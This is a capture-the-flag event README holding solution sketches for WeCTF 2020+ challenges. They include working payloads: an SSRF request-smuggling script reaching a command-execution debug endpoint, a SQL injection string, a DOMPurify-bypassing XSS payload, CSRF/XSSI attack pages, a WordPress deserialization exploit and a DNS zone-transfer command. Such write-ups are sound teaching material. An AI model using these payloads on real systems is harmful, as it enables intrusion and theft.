WeCTF 2020+
Thank you all for participating! This README contains our writeup sketches. You can also share your writeup on CTFtime.
Event Link: https://ctftime.org/event/1072
Run Challenges Locally
git clone https://github.com/wectf/2020p
cd 2020p && docker-compose up
The mapping is as following
localhost:8000 -> babyrev
172.129.1.100 -> KVCloud
localhost:8003 -> dont-bf-me
localhost:8004 -> Hashtable
localhost:8005 -> Notebin
localhost:8006 -> Wallet
babyrev
38 solves
Description
Shou only allows his gay friends to view the flag here. We got intels that he used PHP extension for access control and we retrieved a weird binary.
Handout: https://github.com/wectf/2020p/blob/master/babyrev/babyrev.so
Author: @qisu
Writeup
The extension compares requests' user-agent with string "Flag Viewer 2.0".
PoC:
curl -H "User-Agent: Flag Viewer 2.0" [HOST]
Red Team
61 solves
Description
We overheard that Shou's company hoarded a shiny flag at a super secret subdomain.
His company's domain: shoustinycompany.cf (Challenge is down now)
Note: You are allowed to use subdomain scanner in this challenge.
Writeup
Step 1: Do a subdomain scan and you would discover docs.shoustinycompany.cf
Step 2: You find a few files at that subdomain indicating we need to perform an AXFR attack at 161.35.126.226.
logs.txt
[12/19] Eddie started the process following RFC 5936.
[12/18] Shou approved NS records transfering.
[12/17] Eddie proposed to transfer NS records to our looking glass server (161.35.126.226:53).
[12/16] Shou appointed Eddie to be network admin.
info.txt
### Company's websites
Looking Glass: lookingglassv1.shoustinycompany.cf
Flag: [Removed by Shou]
Step 3: You find another subdomain lookingglassv1.shoustinycompany.cf with IP 161.35.126.226.
Step 4: Perform AXFR transaction at lookingglassv1.shoustinycompany.cf by
dig AXFR shoustinycompany.cf @ns1.shoustinycompany.cf
KVCloud
13 solves
Description
Shou hates to use Redis by TCPing it. He instead built a HTTP wrapper for saving his key-value pairs.
Flag is at /flag.txt.
Hint: How to keep-alive a connection?
Note 1: Remote is not using 127.0.0.1 as Redis host.
Note 2: Try different host if your payload is not working remotely.
Handout: https://github.com/wectf/2020p/blob/master/kvcloud/handout.zip
Writeup
SSRF with Connection: keep-alive:
from requests import *
import urllib
port = 5000
cmd = b"import os; os.system('whoami')"
content_len = str(4 + len(cmd)).encode('ascii')
payload = urllib.parse.quote(b"/x\r\nConnection: keep-alive\r\n" +
b"Pragma: no-cache\r\n\r\nPOST /debug HTTP/1.1\r\n" +
b"Host: 127.0.0.1:5000\r\nUser-Agent: curl/7.68.0\r\n"+
b"Accept: */*\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %s\r\n\r\ncmd=%s" % (
content_len, cmd), safe='')
c = get("http://[HOST]:%s/get?redis_port=%s&key=%s" % (port, port, payload)).content
print(c)
print("http://[HOST]:%s/get?redis_port=%s&key=%s" % (port, port, payload))
dont-bf-me
36 solves
Description
Shou uses Recaptcha for his site to make it "safer".
Hint: The password is so long that makes any bruteforcing method impotent.
Handout: https://github.com/wectf/2020p/blob/master/dont-bf-me/handout.zip
Writeup
parse_str in login.php could overwrite $RECAPTCHA_URL and $CORRECT_PASSWORD.
Hashtable
15 solves
Description
Universal hashing could prevent hackers from DoSing the hash table by creating a lot of collisions. Shou doubt that. Prove him correct by DoSing this hash table implemented with universal hashing.
Note: having 10 collisions at the same slot would give you the flag
Handout: https://github.com/wectf/2020p/blob/master/hashtable/handout.zip
Writeup
Pseudo Random Number PoC:
Save following file as main.go and run go run main.go [TIMESTAMP].
package main
import (
"fmt"
"math/big"
"math/rand"
"os"
"strconv"
)
const TableSize = 10000
var TableSizeBI = big.NewInt(int64(TableSize))
const MaxCollision = 10
type LinkedList struct {
Content [MaxCollision]int
InsertedCount int // count of element in linked list
}
type HashTable struct {
Content [TableSize]*LinkedList // array for mapping hash to the linked list
HashParam1 *big.Int // p1 for hashing
HashParam2 *big.Int // p2 for hashing
ElementCount int // count of all elements in hash table
}
func (t *HashTable) hash(value int) uint {
v := big.NewInt(int64(value))
var h big.Int
h.Exp(v, t.HashParam1, t.HashParam2)
h.Mod(&h, TableSizeBI)
return uint(h.Uint64())
}
func (t *HashTable) insert(value int) bool {
var elementHash = t.hash(value)
var linkedListForHash = t.Content[elementHash]
linkedListForHash.InsertedCount++
if linkedListForHash.InsertedCount > 10 {
fmt.Println(linkedListForHash.Content)
return true
}
t.ElementCount++
linkedListForHash.Content[linkedListForHash.InsertedCount-1] = value
return false
}
func main() {
var t HashTable
x, _ := strconv.Atoi(os.Args[1])
rand.Seed(int64(x))
t.HashParam1 = big.NewInt(int64(rand.Intn(1 << 32)))
t.HashParam2 = big.NewInt(int64(rand.Intn(1 << 32)))
for i := 0; i < TableSize; i++ {
t.Content[i] = &LinkedList{[MaxCollision]int{}, 0}
}
t.recreate()
for i := 1 << 13; i < 1<<16; i++ {
if t.insert(i) {
break
}
}
}
Hall of Fame
22 solves
Description
We made a Slack bot (@hof) to remember our past winners. Hope no one hacks it cuz we are running it on a really important database.
Handout: https://github.com/wectf/2020p/tree/master/hof
Writeup
SQL Injection
Send following content to @hof would yield the flag:
rank x') UNION SELECT 1,1,(SELECT flag from flags LIMIT 1) ---
Notebin
8 solves
Description
Here is where Shou keeps his pathetic diaries and a shinny flag.
Writeup
DOM Clobbering => XSS
Set title as following could make content bypass DOMPurify.
<a id="_debug">a><a id="_debug" name="key" href="sha1:f03e8a370aa8dc80f63a6d67401a692ae72fa530">a>
Wallet
4 solves
Description
Shou has a habit of saving secret (i.e. flag) in the blockchain. Here is where he stores his bitcoin addresses.
Note: wrap what you find on blockchain with we{.....}
Hint 1: You should leak the bitcoin address in Shou's wallet first.
Hint 2: Shou is using Firefox. Firefox does not have CORB.
Handout: https://github.com/wectf/2020p/blob/master/wallet/handout.zip
Writeup CSRF + XSSI + Some recon
0.html:
<form action="http://[HOST]/address" method="post" id="f">
<input name="address" value='xxxx"'/>
form>
body>
<script>
f.submit()
script>
1.html
<form action="http://[HOST]/style" method="post" id="f">
<input name="style" value='"Raw'/>
form>
body>
<script>
f.submit()
script>
2.html
<div id=iframe2>div>
<div id=iframe3>div>
<script id="script1">script>
<script>
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
async function main(){
ifr2 = document.createElement('iframe');
ifr2.name='attack';
ifr2.src = "0.html";
iframe2.appendChild(ifr2);
await sleep(1000);
ifr3 = document.createElement('iframe');
ifr3.name='attack';
ifr3.src = "1.html";
iframe3.appendChild(ifr3);
await sleep(1000);
sc = document.createElement('script');
sc.name='attack';
sc.src = "http://[HOST]/";
script1.appendChild(sc);
await sleep(1000);
dealwithit(style); // <= bitcoin address
}
main();
script>
Save 0.html, 1.html, 2.html and send 2.html as payload.
After getting the bitcoin address, you can find flag in OP_RETURN of one transaction.
Wordpress
2 solves
Description
Shou made his first wordpress plugin! Check it out!
Note 1: it is unnecessary to be admin to solve this challenge and to ensure the stability, we removed almost all possible ways to be admin.
Handout: https://github.com/wectf/2020p/blob/master/wordpress/handout.zip
Writeup
Wordpress Entry Overwrite + Unsafe Deserialization
from requests import *
HOST = "http://wordpress.ctf.so/"
import re
des_content = 'a:1:{i:0;O:5:"Upage":4:{s:7:"user_id";N;s:9:"user_info";a:0:{}s:4:"conf";s:5:"/flag";s:16:"disallowed_words";a:0:{}}}'
s = Session()
s.post(f"{HOST}wp-login.php", headers={ 'Cookie':'wordpress_test_cookie=WP Cookie check' }, data={
"log": "[WORDPRESS EMAIL]",
"pwd": "[WORDPRESS PASSWORD]",
"wp-submit": "Log In",
"redirect_to": HOST,
"testcookie": "1"
})
print(s.post(f"{HOST}wp-admin/admin.php?page=edit_upage", data={
"key": "session_tokens",
"value": des_content
}).text)
print(s.get(f"{HOST}wp-admin").text)
